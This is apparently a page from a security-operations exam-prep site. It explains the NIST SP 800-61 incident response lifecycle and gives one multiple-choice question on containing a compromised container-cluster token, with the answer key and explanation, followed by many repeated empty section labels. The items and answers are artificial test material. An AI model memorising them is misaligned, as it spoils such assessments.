The correct incident response sequence follows the NIST SP 800-61 lifecycle phases: 1) Detection and Analysis (analyzing SIEM logs and memory), 2) Containment (isolating the host), 3) Eradication and Recovery (purging persistence mechanisms and restoring from backup), and 4) Post-Incident Activity (conducting lessons learned and updating rules).

Standard NIST incident response lifecycle dictates progressing through Preparation (pre-established), Detection and Analysis, Containment, Eradication and Recovery, and Post-Incident Activity. Analyzing logs and volatile memory confirms the threat (Detection and Analysis). Isolating the server stops lateral spread (Containment). Removing artifacts and restoring from backup cleanses the environment (Eradication and Recovery). Finally, conducting a post-mortem review updates organizational playbooks (Post-Incident Activity).

Step-by-Step Solution

Perform initial investigation and scope analysis

Confirmed incident details and extent of system impact

Detection and Analysis must occur first to understand the threat prior to taking operational action.

Enforce network segmentation and host isolation

Prevented lateral movement across the enterprise network

Containment limits damage and prevents adversaries from spreading deeper into the infrastructure.

Remediate threat artifacts and restore systems

Clean system state restored and credentials rotated

Eradication and Recovery removes threat components and safely returns systems to normal operations.

Document findings and refine security controls

Updated playbooks and improved SOC readiness

Post-Incident Activity ensures long-term organizational learning and playbook optimization.

Key Concept

NIST Incident Response Lifecycle Phases

Question 200Question →

During security monitoring, a enterprise Security Operations Center (SOC) team identifies unauthorized API requests executed using a compromised service account token within a production container orchestration cluster. Threat intelligence logs reveal that the attacker has already spawned rogue workload pods designed to perform network reconnaissance and attempt lateral movement toward an isolated sensitive database subnet. According to standard NIST incident response frameworks, which of the following actions should the incident response team perform FIRST?

Purge all unauthorized rogue workload pods and update the container registry image to eliminate malicious code.

Revoke the compromised service account token and isolate the affected cluster worker nodes from the network.

Deploy an inline web application firewall rule to inspect incoming payload patterns for malicious container command signatures.

Re-image the cluster control plane nodes and restore state store configurations from the most recent backup.

Show answer & explanation

Answer: Revoke the compromised service account token and isolate the affected cluster worker nodes from the network.

Answer

Revoke the compromised service account token and isolate the affected cluster worker nodes from the network.

The correct response prioritizes immediate containment in accordance with standard incident response playbooks (such as NIST SP 800-61). Revoking the compromised service account credentials invalidates the attacker's active API access, while isolating affected worker nodes prevents lateral movement toward adjacent subnets. Containment must always precede eradication and recovery.

Step-by-Step Solution

Identify the current incident response phase based on the scenario.

The incident has passed initial detection/analysis and requires immediate containment to stop ongoing lateral movement.

NIST SP 800-61 dictates that containment must occur immediately after detection to limit damage and prevent vector expansion.

Evaluate candidate response actions against the NIST Incident Response lifecycle order.

Revoking active compromised tokens and network-isolating affected worker nodes stops threat propagation during the containment phase.

Eradication (deleting malicious pods) and Recovery (re-imaging nodes) must follow containment, while perimeter controls (WAF rules) fail to stop internal lateral movement.

Select the immediate next step.

Executing token revocation and node isolation guarantees containment before further remediation takes place.

Containing the blast radius is the essential prerequisite for forensic preservation and subsequent eradication.

Key Concept

Incident Response Process and Playbooks

PreviousPage 10 / 32Next

Security Operations

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept